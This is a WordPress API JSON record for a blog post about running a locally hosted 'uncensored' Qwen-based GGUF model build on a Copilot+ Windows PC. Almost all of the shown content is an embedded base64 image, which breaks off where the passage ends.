{"id":2539,"date":"2026-07-11T20:34:28","date_gmt":"2026-07-11T20:34:28","guid":{"rendered":"https:\/\/www.troquelgrafic.com\/?p=2539"},"modified":"2026-07-11T20:34:28","modified_gmt":"2026-07-11T20:34:28","slug":"qwen3-6-40b-claude-4-6-opus-deckard-heretic-uncensored-thinking-neo-code-di-imatrix-max-gguf-on-copilot-pc-windows","status":"publish","type":"post","link":"https:\/\/www.troquelgrafic.com\/ca\/2026\/07\/11\/qwen3-6-40b-claude-4-6-opus-deckard-heretic-uncensored-thinking-neo-code-di-imatrix-max-gguf-on-copilot-pc-windows\/","title":{"rendered":"Qwen3.6-40B-Claude-4.6-Opus-Deckard-Heretic-Uncensored-Thinking-NEO-CODE-Di-IMatrix-MAX-GGUF on Copilot+ PC Windows"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRi5IAABXRUJQVlA4ICJIAABQLAGdASr2AUwBPjEYiUOiIaEjJ9M6gGAGCU3bIyx9fUou7UP5H5Ad2XGftn9v\/n\/3H\/xXvhca9uvuL8P\/lP+J\/iP3B+7X+R4GfE\/8bzU+jv+D\/kPys+V\/+y\/9P+Z91X53\/2n9u\/fH6BP1c\/2X+M\/zn7GfGB+y3ve\/vX\/I\/Kr4G\/z3\/Df9j\/G\/v\/82f\/T\/Yb3l\/5v7dPkC\/t39m\/9HYj+gT+4f\/\/9dj9uPhe\/q3+9\/bP4GP5v\/l\/\/l\/rvcA\/\/\/tefwD\/78Mr6avNn8R+SPRxex\/9q+d+uyyR\/mP3j\/Kf3\/kD4BH4z\/Lf8D\/Yf1\/+BCU24R9+Prn+E\/xP7qf2H5Bu4nqr4gP64\/7b7d\/bM8j30P2Bf6D\/bv\/L\/lPxd+TP\/j\/zH+L9cf1H\/3f9F8Cv8z\/rn+1\/vH5WfOp7QP3d9pL9oRF9lB9YXXe\/+P4f8hGgEb6mDfF5CKCVLuHPdODJGt0Ea3d7zkS8T0c69BGT7P3X3xmltJQU2FdFsi0T2Q7r2H7tv0iOGqcsVt+oWQZEPrAI0ZoCiA60TQ9oUAOCj7+fyg35KxDFR8imReHjtIyrPZ5ZJZ0boVHy1g1eKu1CetCx34sZzH+rCp7vkrE\/8GAQ6hzYFTFW5opk\/Fds1MmaKNeNW2eD1L7U8XJ+5YUAsEr69Jp9UW0a1FYwttGMEe\/jN2+3J33tD3OyZ\/XqcnDATVxtwDjbz1NAvbT1AO0rf16dTcf1tcq1oOvsRnPnSM794K9PCTaA3Pj5Rx2ADDJo8O7Xyl8YiVZ5UFBnxjIIynrxueF3AaihZiUoIZPIoW3sMijatsMgmJMB4Ihj+lDHUjJLbKoazLaI+GZQj5h7gfT6LOSwAqhvjZoXA9B4Y7gYMHKHt36YrIsJJb1LUxV70ucuYESh0Vc650eh4i9Mm47hLNwL4cBYFAN0t9bQvkZB+vdMSK5cJ8ofWovotSt8gpBUJjTubpTZcsfY9khLpmqiLX+ZLU8vivC6A2RQVK\/sLnl5fNSBGgcVWR3lBnwfiYmsY4sdguP4dCtaHNp3jTPwgyDyr5KqKB38RKp4P9njva\/45KNu9xfX0sMECpD4DZCfQHo2TEIYwDmjhvKccOq2fNeSoEvo+al7Vk\/VWXrcH84IWG8DgD0oZ\/dKvjgeWt25r7HFxjDl\/olPH7U3Qzg0KQYzt+Hw4NUMN0dA9wSUUCEAVgJpkoQOOlC5Ipi2vvtpFjDE\/3DcxTe882iIAGGNo9Zt96WbfI8EwamFrLEh1AeTBXVI\/niCXjUBKZmehtKgjKxSxhIfrhzMveR9p+vQNHKlVThgO5oRyIlfJ3aX2q6TSvdgsDG6BfhKfm9Hh9VMhLyEJKkWlH1FgD3VEde9f\/7Rpt2F2cqGKnTz6QS\/Ys6A126R2vEsu7cTJCF0RdExMesDn9+0fFj\/yVzSfHJ8Nc6P\/AD5eQ4pZswia+XPgOjG02RfrPIEh\/5P4Et6gZ\/YLK882N5HYi5\/zUSZZte4yPFP2X8RPszrhNwpyRXzM\/\/\/JaYdWB5Pr40s2cvyqVk\/+aJTeyGvkoe0DxwnXyjsFw9uNbgJjg754iSW5hRHqElUUYwbBQIX5D26sjaMU3iC9xXuBQlsZ+QxaKH4O1cTKKi5Nriu6sn8y7reZHRuzpBWTRhzpTfFQQijuRU4m5zGlaK6vpo4vlk+wIL8KcWfJoQ7oRJNgz0EwNKq1\/warIHE57dpYppnknT8313gj1zKkqTCTqiblnwj\/HqQh1J9nyNDhCsazca4jhDmS\/nQi1u9SQaOejTP1IEevp+dA3t8rM78Pic\/Iizp15M7y0y5D762IGbpKnQjzwbTRHfcGpRe2QxMYtV8GzM02n2UMfMAPKXiYw8Cj4wS361fpxMU\/veTogE\/DpK4h3OJVpA9thf76LoFx83iGOmp\/5BDUnhFBs700YgAPC8MVEnmmS03uCJ1+AVerYnXOtLK45J6BCeJGkcyNIXTTE4gxZnTnKTRxPABO3Q1lj42K7Rsd47pQCJlA5Up3hW8q+y1c0vzWAlZomQBnwRWPDdnIlWyUlQBehtkzZGgzjQE0I1yqm6bT+dxv+VDoMNVnB0qHsW9E+Yn+unX4vcEM5tIeQ\/1TfwjflH6f0uKVdT1J7gNS7qUNvqlq2Gz43rQvfEEvYLVRXIXx\/XBr3PLZ3H4j8DlBGNvaui6lsTNHKbLRI33y6ZVq5F506sJkt+w\/4CDRbXAeMd25wmgVoZaYK8ihjuZEhMbnKYSjHQvLU0TK6fLhpVhq7fu5pS17QhnpOCZsKkdtOCWdWpD3B8NQ8UaqGW4LTz6gQsJlYGtnAOlN5KYEJG7a31FihAUxEkqK7c5DrEl2sr33eta1e78zn4fJbMr0+KG1rD6iZqHiBljvU9fCrkZpylRDtWt+YsS9BtcYk1wWuKPzqhbv9pO9FMd7tK0IMxy66HzZrWoTD+Y\/Yt+Ysl+noE\/tbTdFgdZZ6IKxuPEsJHKivCVH7p+oBoqOP017aHT5IFfY4A2vvcxV0k7UJHY\/ZgU3692PLIi6z\/XYJfsr3YvVFx94jKj9KwnGyMv\/aTdmWplaNdSNblENSRPXcmad9uJ1DHzr+Ykk13E6dCmi6X7tOBxec+8YQwr\/og+zZ\/iPjDmtvBea34W9uhd\/TQE0fstBXpNzyjuiQV7gn0xt1r3BvSX4s+1isg1ylXoiNi\/sHLVPXI190AUWiR2mI2w62bBuEzVKa3jD1m10lTw\/Y8xP0c8guK9GIAi\/FkitDfG\/xeJmIDxnc3k0LPVHD\/bT3JzzxqQbrgDCJuhGUITPpV6C7ZX1\/RQN7dBtvNasyZmyW8ytXjQA\/8MV3Hc+YGEAqnraM3KM9CQQqzgzswwODZKn3I0jkEljSO+xDoT4Q\/rgkT5Ge6Bx1dy5Qj+WTTwAUL\/Q5N+RKhCIqeSyvvwTHuFYudFIz57Sl0+A7hCMbgAq0sQocjVEQ\/rjsTkQo5KVksGl84XAWM7Uu7onR3tPHu+zEapMLxRDCQVajh2ffKw7MmmbN5HNXe+GWOEwmQM\/CPW0z6GGCRKlQrC2\/+fEUT3gSEJ1jiNm6Srgf9Uzsc8bk+EZz5ulKBfzUT36AZz9QeizCz0Lbd4msbzaVAlaSWzOawT+o0odl76dSP4RL\/e9rqX1ZdUqzjPdLyviE5OAOzCz+Ll5f2N4yFonvIbCsJ+2sBouwUSEKg4098KVHnAIVnfykcqqOGmSeAAD+\/kThzB71kpwhPVc5vPpw1FCipb47h\/dId0nzAnsmm43teZ3cnFRIEJaq8XoahGg9gnWy+BV5Nyb0IZwPR8bPBS2XjoodvYc5N+k1Q+IqWLuXtK2H+JJTJ6aHxuXGd+AFzp8B7idQew2r06P9UoGVmIsDAehlMF1X\/aOvWgX33cU1grwumcpQyrLs7rcm\/P2lBTWgHmE\/FcgSCXy+d1yPHXQPXqrGeQH9DI1kdksx9xYx1OtnCjvl\/88i+ZmD5Tw2xwasi40UUEwRln86ge3tIi2L0FiYwTlJU6yZ\/gfKV62WWX4xIcvQ3ffyszOR3X6nBZBuV6sZpmNy\/XugjllF3lRvcW3GxmOpHtuqVjf88pF8h3ERm3Tiv6cIw9YKHrugwK1vTgcZ20k1xpn+UYop5QcQded7mPdoCLJgRoOjJDq8kHgyhTYHbDPwspmf1zI2E4RJML2tX+a9Hr0sXybQwk+xS65hQWcMmD3WaIzprIr2GnTE\/EEY9TzCMueronH7NfeRvQCXBkGMqDBQfePAbs98VjJfz1mZLMZSmNHYlaj0COm54COq12JBhMip2C8BemURAB4yJdAioXNvaUg\/HVz+qe4zfapEq\/7HgTKVJr1GErtjobCe7yx1CmN0wq4Q2IHsi98O9eZOvTN6IUt0Ld9HoKPUrR9d1SwCHxBnRWMEYZznrxp01QbESNT5SM2ZX\/bFJ+X3AnqMsfC15XDsWNxeBhw7GYlqos5ORnh4ZJxQq+AWBWXCEnRnEyzF5mYFWbtMqn63ib37TKLRU3unuKBS9QbgkfWGBMxOGBgfYBufiiU8HJEPxABs8BOvLr5loVbvJ6v8npZFjhbBBleXMVnt3d8RIirf8v9pE9RoPOy0ojhYqG+pkn2vX2TUvvkjeVvhvLpvvkndqN9Eza25ilv1rVfP0g4vjDpaEU0GwcRj6wclMsksRi5fScI7Zep1SCeimA+711rOTtCc4jTDnrR3UiSnIUh2wL6v1SfRDatpDesU9V5c7OQwEDelgytyUZENAN21sD9VDjoqRl\/xcFrb9T33Xt73aLLuKWYiriMLGADp6dehV3RMWPTCjROESKcXb6yNHi2THJj6AzRiRUEUeQucUffpFlGphv1ZXVeqCOUOHdlqvqG90DOC4CuUxHUy51yYjqoMzGJZrtTSsBBWKifK4XUJsXz1sMzxvdnl6zvaJRGBqRDWgFQk6srWH7+bujm0XYpKtKUg0\/Huzb8RXX7dEvIvsurgUSnw9WPvNsYPRZHv8CB0feVlvYZxkkVsgHbAnD1nNVZQ3KKlf6F0o9oThbaCr19IYAOPfaUUKABmQW6FwjkmhIPqthxuQBDJ4iLPfsu6XKYQ9+2LeF1DOY03f90i06HuGmqYjGRTXxK80xnc40pWtKqBb7RRvz67OvpAvvn\/LAgsTn7evY0zlCO27DergcFYVev00xU1V7Q8pPW3gUFeHhu7PwctelfLUO4snESNxOkUiRV8VAtq8Tgp6mVY6HjobaFO3NimdIQv8nk+NfxzcpgNFqugNlwHytQRwdSaey2XW1a4lnb7bhip8sM8P7Wz8XxnTrxXieyOEUBtahUGs\/60Nx0n9cRiQFv6PsnXz4E9NcPYOeM\/WXWVlrvq1eLsHwsDhsVPPZunCDS8lN\/VyyHMzPWgSK0433B8XiaRT7moHVxpAM9piSv3jUz7bPtMbHQZfH72vcRWA2E3GkzvnqYEyYYPxGg0GFkjnvT4o\/sYbI6IuEZjhvRTPGVhIsIV41aY3u6xxjAlrj70GVuCqYoNUeHLqS4zEAllJNBVWL+a\/m8Hvv+u6bkFKHUR8AgXlg6LnvPhHNHeUGgErwRWce6AGI\/sfhf2rB2GleiwhgY+xyjusZgzK9UdVZUw4CtfIcoZtexHuebKZ1dvovob7x1S4U3ck4UK0KH\/dTTYAcT9bgCK3dAOgp9SYkXJ4IJFVRATFufJmAU29IINp4otlhdCxf0uMvd7tcuuHhk9up4NQcA9GjCjOq\/NRCVpDsK88uW\/8YamOIe8hRqoJC6UXrRxkgtvf4lFB9kFX\/m0GCH78EGJdUUvLZ00PgkabYRdfEzj43AgRPEjXonSBtrlJckLCxuTkh2IyG9zxvLg4fULSFi4cnm1ouB5c1pe7GIax0wM1XHzdorqPNIJvIarPFfajgQpTYUiWqAtOth9fmguoCBXxxDzUMEnKUPRz8vJhFkQgzBYmB46XlBOKYIGQvT7MJ5FZYro3KP8iFA7ibzd1kR9FGEQmA6gJeShTd8V+jSBIny8bFywmRGP89Xnqb2tnqAjV0IVlALoDajnnma+hkyyVYsUgoNGUr8pxJesDiyfkekpfNbLBUkmpEtank7JO8ESFAMZG0KGvDbTx7XfgNbnaKZy7BwKHJDM5Pl8HIOEyNRNeiDjme8NISyCWBwC1T63kplhLScSfmRQbggeihzVy+fjFd6lIwo7sx+5c54A6EwpNwK\/DFU9KUOdzdSTCL0RYBDgFmIEUHpSQVQ2ER6AOi98Fq541blUbNke8QB7jX3nS889EIyLcd6EBJnYnNX7fdaaB6lKEVPHXS7I5xMycO50oIVbHGTPsi1lDIpXugYyqX3tEn++aTN9ahDHFXQwlb6KCYvf0bZkyv7mGxg+WFBxhfJ9ZA5RmyTLp+QoYwPSxxbf7aY82T+e6ma5WPQcGrFpzwhm66lUfuLoErtpUuKzUHiV3\/rCv\/IvwunHwCGJAuOVc1dH5SKpHD5K9703z4Npq3FvcLr4WfcXHkQC\/g9lvVavQSaFCh7HzLYH0AEiqeJqtHakp+9Q0DQx+rEaD0rFOxUq7Pk9FoMRvX5b0sEahB6JrkffqO779H7u4ZIhnU8YBQ+4l5ZkHhfqfP2xuUfeboUVWQT2vxBRkfOkPHqeqD2RGDShEfTbVQS120pB6fQXnsPKEMcA35jSGNz1NlqeZM5GEHCU0KNPk2JToTgJW+wUgTuAgjS5pf6NaJW8Xc3+2DaHJTz6t9tpRG9qf2Mw+8YsVJNbHXKz01xYN3qq6KMz2tk1L5DV0n57Nc\/D5rGNpaecFXRB0MAzaLKM6CvjZmJ4tNIbWbvp9q90U4129izW+kz4qH4oEe51ksPoTyAoZEDL5h53Vhv\/N8w6wQTZSKWVgAImdIqcLBEmUYJrYYyjyuriD67I5jNc3DRXxFT2Vx1DT4+atezyrdZ2M43fP6wnkQKSaWasL1DonAD+uBSW9WYn2kELJawEeDKBZq1LSGWn9Rn5jQZYfzhkJlPoEYNGiYi97K6ChqEf8EMQ\/s8wfCAQSfScdHsbk838asIypuXwEBb1iXa53mMANDwv0jpW3DhnJ1eHB5JBGwk\/by9idpzp1CcFf9uTS4oqKqZYJ0viLqtOlDqpFg6Z+2PmKkhBcx82srMYfukKDuA3J4ApDkDeFgockU1h3wffEm62EEklocFzaKEDLx5\/s5CWWOY\/4KgWGt\/hXnvStFtiO5ni8LlqBgFfoQLGGwLqgV7pVoTi9RLclGudFsIOyJAOIW6lHVQlayvsYnBif\/ugCN5lN+1TpsHT3PtrzqacbQ1O1jDq5TwmmLImONBq8Pke4S5rzPE\/FHe8oNfBNT\/aIoFGdcb4vEoyV8wmeVj\/axXOR7QgCXBl5QDz2A45We\/JKRkQDGW3KoWaRD8D\/7561MbwOtI+NNEmqDlJf2MBj9QmtbavOLEskHFZQINhchrIv8MbQDmy5KUovdC4Z4tw+\/d9XPL7j8dNJBcC2BT4KaMi2ygf+r11jPy8CvDuDibnX6PPC0U\/KP7CUyRgfXl\/tutHc1LC4DMeK2izMDhCzeWnxvh4wixAxM\/7Pq9TzkRdlm3epBWoVCYU7uKcK5rkw0TLpCQe6WWvF8zI4MfvZnyV+7mne58gP4dB\/yfm23mHW\/uR2UeOSfOAOV3egiebZjQvjdewG\/U4FUk00ZdKI5AFXMjkVG9IldQzM+lLCGmGmnEfEt7\/tK6nwrYpZPDtZ2hZvDIcg6ZYLXD0CQsiAgwOO13zvuafSQuu\/bw2MvNJrB1awuXxcep2ZBsu1GF6B7L01Fji5kFgN\/ABu3lfIxIyKTLWiUfj17h4HxJcvEtPS1mYRGI1QSG0H9povLRJBSviiAq3xJTIsPU4F7EZ4WBFnJJ207UsMUffCGWXcdPZycD1X\/Ri+6JM3qBMAzdeGxbo6NfRQ3CQcPrpdeEKuxTPHpe0zNwVVMF4Te+ZrDR+T+ybvgfXXRryT\/6KJymyoh7qQCVFgo0jPF2xiRmaDWfABRd290VttWOh5zdQUcJHbDsUSTQln\/C5GsTZqP970tpcY6oBl7trLt3609RzaWMOhaFMF\/6zJJEqpWLAVGQ0HyGyE0bRKo3JW8uFwG5i4poDtED81dQUBMM9C4ozmshCqzru6d36YG1PuioofkAmkvW1cQjBnjig2ONrmtuA4lsxpJ0zOjpUXI90oE8WES0cSQUhoAqIv9hKTeTSPCP0aJjlNTeTu2Zsv985IjTwMaATXAJAQFbeeAw8bJcRjXLXJVYBRVYruIVXjp1+3t9xuqbSDAqrjPds3w9l0TDW9I40yAuOVynTOeXlG0iYS8MAK1B4iYjKuouZrNKzLNdDuTLNXXryDKNQhtkRhdxb4VWZ+0ZB2CWuD6XMZz9s+GMCVT4A9cesQi2eUIgr2ulCE05n1syQkbN0DVkb7uDkUUPNuRuG3Xkc6JIVuTkGLSXB4GsuaA5T5SupWosfUvsCY2uPvcCnQvdCejLGIr+w7ZLQL+e4k3k1g+IIQNYVaom2vYuVMIuW6jJ6jXSWlwfbi+n73yusbWGw+JPsERHwSpNpy7xRumh23DGUrafpWNgQW2Ojf3O0obKcjaX0dvJJogUuDcIm5JicnnW+rpKka144WvVdzrIAghCWLf1J99F5TzSAaWx0BQxayFh6ep64d1Jm7ZyCvYvg+IH+RrkSVMW4EPSn3HfpboW3BjqNGOBc6ZxGI0A4+dHkF8ToGi3MozMfvVi\/bCgy9fWmPt\/pNl\/GdTr9HuAchdrcmFS9\/aV8sgzVEBmZDozLf5Iay0dzXJEXZS8mQw01OdalnXJZzORd1LTP\/TDpdu7AwRqjK0N7WzNB+PNVnPIRkHmBwxL8LijmVGX1TC5mmF5Z24c\/O+CheyU8BztduDTxbVyg+BAOeJ3nNC3\/jpUsOtt5fGu+yjin2FcUpJomY+LZ67\/7WsbdBd1cDezSCEhOnA5lmeGxZfLKNmqo6Mm7hpmtvveTGMhiPRm0o7UtLlQBJfWp4+OqpUdTxjFxOZWK0VGPKdDH2uxhm\/kQSQHmFM9Trke+HSbSXU\/mvwAhE+O4d93K\/DEuBmrb8S+0qYj4xE\/th6FtqURi3kmbvJtPde9\/Pf\/7rRLLRswTcsFxWkXzqZL7oetaCW83wQ+HKUQERAbDFg3K7iUpKaOj+pogZkySd4NHC7Lo60\/iGqFXzdR7NFtatdFNbgUdfT2MV2mCqC\/Wrw6z2nGovzLsslr5OCX+JFuDmFs436IxMekqptxGe7Pujqcu7Dkgl2koxSzDOIZoqhCFqOkn\/sdRfxumnIOnn0lKmyZf9uOnylOSvEMVlBnb0GIHUdr\/hAAzN4fb8fBiy4vbJXXNH\/+3\/UoX1zFvpehwIku3Q5CAO\/YTXs05xxj6NSvNU1T1e2ZnmL8WUKtLp2vW1s3SfgzeobM4S4ZoZrF4EhU+BES3aoTV8J6BjXUuwqmCj5WBlNUk4crTLGF8aI8twr\/Zt+rknkQH3xJPY+XEFc4\/ooe8YTD0CAM3jnYlyMQ1qI28z8blGnO9JhKGmUJrRBISXisIfiPlgfz4ig9FvOsatA0JgERnsPD1bqFGOjYvsTm3gjDFURd9vTpwkVu9fAKkUgj2J+2AXX\/7XZzYsTxueAT1kGWDyazrOQzplOv2trQxVWxir10i9Y5iYTFcPHUrkzbVXkP2MjfAvcu\/mIcZf8G5V8VhtUTxqtmSsTcFFbsvh7n60d1twCJAccdLlHLkIKvxFQ9\/jF+zsKDVNGtDfUK0X3clpweP3ZZTmc7n6Ku5p7HIDRZXB5vpyIiJL70lCWLsOf1wPVU63i21ysHZhVSfWR2r4h6xnhOpQEEthl4xpARFdEW\/6imy7VYoPJ5hXh6Yv+30hNcf5FUcrYPTTzjrqTlYZH0YMQPlPmoN0O7izLsp1kf4Zu7sQ2nkQSzXN+P5edaH7ViMP9wwvt0fz6\/JaSufqxgbD8DBtk90+xckJg8SezIhHMTZutBP5BNtXvOrCddJruLgym+tUPxonD3KaOqjYBfsYR3CSa2WpQf6\/h7l4zBo9ytwBr1H7qEC4VG4ooPQ1NT4ce4yIXlSyhKRDJPWX0DGTQU6NOzOcjzyI8b\/8XIAxD\/wfmcoRn6jw3PDSc3UWeEh4MfGKmcMqH2dMiFQrEvyn8yU1lMihaihh44DmvcZiWXNNM6NyWhNJMp9\/rxliojko4XXsNK9fCnwfL5YFoZyiXq2sVEYkEvQvrc648vjg8PkRejPe9JeWMnDBgeznhCyYP6ePetcz36vjJeQbz2SjXDPMY1h3nq93e9g8vtTNEObycR2TmeSRViWEUsNzkAU32EP+LIIZrBGMSzpeql8SH61C6jqrEMV9f9AlTEBKfZUorp5788d8iAHQGD0ojhESqm85f24+MB1VHnfFe\/XWEp+PLZ+P50WFxirOyLaobNmRYCmUSUKyvf\/ozo7nOkWpARIAOMq\/WP6YL6bzHdtTys\/CPK8sZ\/xBKPNUG6pK5gKZh\/Cmku+OrjyQ8AUghbR9GRvo7fv7d+CQbQEuVcu6FuFc8JTPvo2nfNCfjbsfpu5vXAtF5LHhysSM9jZOaT3lb3JhbSB1EUMbXRBoAdKmAGQAQ1BThJbwxAwHumEwhqF5h8VJIR9Cuyz42mKvkAKh3r2LmoHSIacJOn6ypap3p4GGqgYY+v2OwG6ttL3Qa6pk9pddq+QOskcIPjzSvg5RGkAaa6nSo4cDlmaYqUP+4og+lYqxvTXFrdLovaqjQ7Re7zemi5KnKYQuqQAwvLogyQePSx6pzVhuFMs67I+rsPNyG9AkD+t2n4rnEF8ISHrlhQVWO9Rcsz0mAlFPX5BOiSwIl9IE5UlasP\/nc+yVqoloSVVSnX\/RhZ\/PeTDWfEkTnGtp+wYRikadsNBChJ\/R\/IW4dg\/A3r9KuxA2nZ0udoJihKyNV\/nJvDv9U7RCBIUsRLrt+feAs1QTB4gjkTuxk9rQBul1hEfgp260dYMZwZ2jValCk76+wSDCRKJEsN8mK5yz5RRd4FagwxyqqF5jTiibe23E7WEDa0giKyKku2QQOuD0iu9s4+\/M4Zm72uZDC0WN8rjONTmEb9yr1OQhoBaYPtQ79wdK2NHLU6zaR9XJxZb\/\/F2jUXZRYdXKz0BIGfH06wWSYQhrs33ks5yVp4gdcmSTkqNVhJSN58nrCPYJzLj7TtaRZR6j1Tp0DHkCGcyoytECotbzRASLG4VUTEpH4fLSAFVlBdOYjYoLVNbQqtVUqTQIRxywZ+ugjdnu1QD5R1FR4IdRtAFiI43x3jjE3mxu9NVkYyrBuNU4Kze7d8iHz\/Pb0uM+DrAbG2m61Rs5n08wA\/stpWMJlePDtxypsRYRm7vieYQ8UqmMYnM4sTOL8cnfXVEYWEiS41hDoUBwK9qN35DexL8yGbG63g7B4hQBW1oAkAfe9RqskplzESkOOc0vRhT6WwUsbDFw4QZubXeWL7SdDr2mKOJAsHKK6OTpK7rUV3f\/gontz9ejDHw9uSSr+DriPAPWy+g2I3U\/xmiy0tY4VbHm5JB+vkn0sQDEMKe4L9LX5hfO81nOwrUXiVwLqhJZcgbKAANgD0XrC+lGLIbPF6o4TFs\/QSkyUvyRljArJCRvPp\/UpROWK+1yunzZz0eUT98jP48beYgYH37suO0MpCKQ3KD5GHfwkLRfMtZb0rZd+wvKQ1ZKhpputRB8ctVQMmOR25+hIgCEkvj0OVf3U7N4J0TVsuoCxfLd1WLbi9ffM57zCLxDGbqP0iV8TJbMF7mvmYJ3NcNXA\/HSCHDuS62ERxTI0oMAg8LMlCYxE8W49oaG50MHy5JbRVlc8rLJWcBjFWLpXnrbN\/RqcOoyuI5tfrZ9AYtIyNLisZrUw+0qdTqa\/mILVX4hqElzq2cYu+SmZw+zdLitG52B7W+IalAFOqa9mseZUOyl+CXQnnS1gg7JuBNg9umtbU3+Hnz7C3VyUeRJ7Q9rCR+kq5rqW3Q2umzkxtdcMbwWMCHs7wAh+chhO0eqkdWopbTcc7wl3oA5+nWxYUEgaduliNCDb0sxc+ZeC9CQTdhgHi\/9M4As9ha4IBh1c6FgrD99LpCPKlMsZcu0qIdvY4d1RqbvURuLNN3Vf1jt73DMQ\/hs4breOKImV+n3WSs4kAthW5LLnln3J5kF3TKz8wkf5sVw7YAE3Gb3k9e+bmRSa1kaKvOefgOppe36Ar5ZqqBguvIg4XMh1V8g+TVG9jZL0x3qIKuxEBMTMAfev5Eq7Fee2MkKUvTffQwZ2oYW6IrTBAXeQEVMJUyZLaNkcOeE4I1N5CwFlj8MZUcxpFyHSuPbfjXaqYAanGLpmNY6hFNQ6zxwf\/IuyRiBnxdjz9uAbTU7oSmPaxYxz9GMLbk53ze+V4iHJNqfhh1e1Bh\/QvbJzNuVVMZFLpIv6bh\/24o6yRNkzkS5HbcEXeQMlzIFYj5IViqjStY4LUa+yfsWqnHw+Uu2Lr\/sClRm1i3rNPkHnrng2TVVxptYKfm4Ov1vvzhQNf7uMm6ptmUzmp4MFhBAWkmElT2mmQMszMmgGRmEyaYyaI+Xvam10viRjSw\/ei1jANBCe2072wijZ9HPyw3Wf7r\/Vm54T9bwLxNCoa9aP\/2T\/azmmNN5Yjd5PgPghWD2m+NPsk0l1zxo8N6lTLKEtic3p639\/NNAvy1t1dMfp4JEGXpgrYhVyT7lQMTNWFhZiRFN6zGAnwjZnY1F95H30hr6X0kxyXkm8NchxdCW+qS1DVy4uV2TUec7eF9HRpttHgAnjUg76N61jK\/DGqZD1l2LU6t\/\/i7RrViH5Phs5QjdSmMx6TUV+bFN7PBMMMyJC\/KcFSlxB1N47RR\/pYoxpm5UYqujdOeAXJSiH0Ts3yB6CtpQfxscL7ws83c1klbk0NS0AY2OZ7v+wEgQ3S0Q+88Ui1vOcK8YCqqAiLKmW9UYBwePI+wHQ0hGr\/ASFwfC4czt0DFG8O0zQTaPk1zjpk1pRR0Di0al69Hlab4uX4EDNw\/nX2rVpO3puVGNDrj8EtP4vs4srQ0kSEzTOailbbjFv2+Gjg8bWYVTK33fDGvySV1C2oIf\/fXb0woGokWOkkrU1nkGSVRWn+uCuznThXs+4ME6CS9JosjSiVnF8VdsjYy74DTtd7PpCl5c+veSZjq6deJCNpDfzKJtU1un0jFVwW+d+q9V8Mv8ZNlyZRlxsVlNXcxCIFLD\/GCG\/I08FAIC0rih\/wOVa4LiPVaQj1eYQFVG\/c3i169j6bszCYpv8Arj0Hp+Pmg3sTGbNsMc+eLvPNRD5KdJfqt0d1B4bBzl2LF63mL3TM8reA79m8rUJv4lTgwrsBWVxbhbS3Jve6xh25VgdSc7enPhovey9Ann3Oxj\/JMcfi4HL29M6WUd5lpmv4ohkavz0Kbl72tcQ5ibtCG\/mDg74lt1U0SBpNDjPQbFMWj0+NsOtjPIBHFBPd0tZL\/V8VKrUTmh+6Xdl1bSxatlb1mfL6uw4eTf8E\/tJHw5IzEczEOgZHiSW7LxCLOArFOr5P4eDtce9WM8XHgwnnz5eQcVFMwIVy81srScl2f7Q0Kb03Ie67eC6VUMXmTe\/0NOypywpDEfLNWt5zVJ2saGTut9Le6bcdfhu0XESC5Cwt6NXOC5JywO1ppn+wS2kTptNg3\/6Hi6rcqJf2ou6Dut\/q1O+bNppf5fQdLCsunXcoIBmMVkbqTraJz5Y0MCxKyD9YWpp0KmFXqWtUFGvlMUrUwJglPb1+Sg9ZC\/foEou2IS40+izVhMvZtXM+RN7OXiXCm2VxdlGaxo9KE+nxy+b0rk2DrCxVXep6i+wQFM9gIDqxLWTYf0UfU8CnhPj6EkmaU5Zvum6E+BzwkJzYIdOVhjqIhqC7s\/nCS7XcBUkMxfSsg1gzbISEjQz\/YD5UNRYSBBg5ZnzTp6EtLkoysrBzZyVPAU7Gb3zURd6Kudh\/BX9PqvSLlxavE0nr4WDLKi3h6gZElCmWtEvFoEiDViGMDgYDsNZA\/z\/7qcGEGEjnL9NL2xwsN7ZCqbNo3zAQOhY+Bo\/LsAlPE6\/cJoSg47A5MwPmf50wBVaxan+dtnkqHVImAEIB7KXi3bHGACsSCNxPs8UNI4Sa867X4vHnGqPga\/Dr1MvWYW9s\/L5ZevprMe7eSpFmpiYJO\/kWm9kIU8yd+LBIBNQoiIq2DkeFaJsc4W\/F52QHDIvQouWCCXElyVplIRuarX\/7UqnjdkE5N8nPEpujmcvzyvZ\/oQSQtkYCNwbySMcA00KDh2MAO1mWc+hF3vdwU+WjaF8fTs6lMNnbytwQ0HCcoQ5RuNBJnaSreZKciC+uqOV4fibKOzBq0lLYVONH9wDlf8I1rOvInWkNxrZZBtVY6GsgDA0sHgfsVdHgOJ3dXldwUq1q+vZlNaTlOodk0e7Ar+Ojz\/LuujOe\/iK2yur7yaVOVoArBacT6O5OBv6mEIinK8lYY7+7iBSscKj6+0BHmHbqRX5z202xJLlAy1yHfifYM18PJyJwzJIVv0SfQZaiCpMD8E\/cEV+yCnOn+rGNTyi8uKSfeyj7vrVuAVfcp9NnJdfMjclzuJy3\/2IDg+fkyq3IheOkX5C69ogcADJJpNxzhZ+9bMAe1yCTervW5hA\/2katvgcGRZ7Cg\/ND4g5NEVfOjpVM3H4aaF+3xS+zbBp0Pjn\/rhWNwlXh3t+fb06WPEuz4EQCyx5Bs\/3mYj5uhX9vEA9aG\/Kxl8vxJdzwtQ38Cvt7aBW9J2YAvTdiE+dHUcNM932LAFIqOy5Wu1+aEymTeAgTGQpnVyR+9aDZmaKGZeX9ctBgOj0iCx4dyq9i2o98ELpTvgWx7Z+Howe9nf8\/zOV0Z3lkMunOmkz2w3GFnpSvelGo3XWqrZfaSpZJbp5+l1BEnrl+8DYKQBjU+7mnq5O8qRR7FxTpfYEIY4dDDj+nl0WC+ZvmPBljm40NgFeDoRDW8HAKGY9KcDVakQRWWYlAtcNCvdvPC3G1+bZrOdWFARSvP8iyh0c7DDpR\/1C6pGJ8++lcKTPBHP8HxwzN0GXc8Jp07ZnLbCnYHivWdYfUFjppfUrJM2W5Rz2YEjvGnb\/Fcx86GdQH+Aw0l2ZReRUYsuR6+FFkfkkIV+QaJTQIeB3pH73sOXjwIoonVpw5nPOuRe40A+mSi+nZJjmwMaG+9OnTq4+PxFhLU3QHoi\/aVerXn8V\/Z5qNte5HTK9\/Es+mIWsuQeUEZlPVspyuVVojekzAGXG3X+RK+TaLceP+0hA2HGJrD4SmZgPK+Hy2sFAWgfa+Tbqfx0ibn4miGRBkq1zbYViXK3txNf4wVx03AUa1ewqGw50qFUiIAJ8HIJfG0p7ohL9klcgGqZVm5cga9JJpNw1ejJvfl4kmSPQ4js9bg\/gvc4dHCtS7DDanQRvOW3yrKiQ\/JnizSkTE+6BPmdOy6P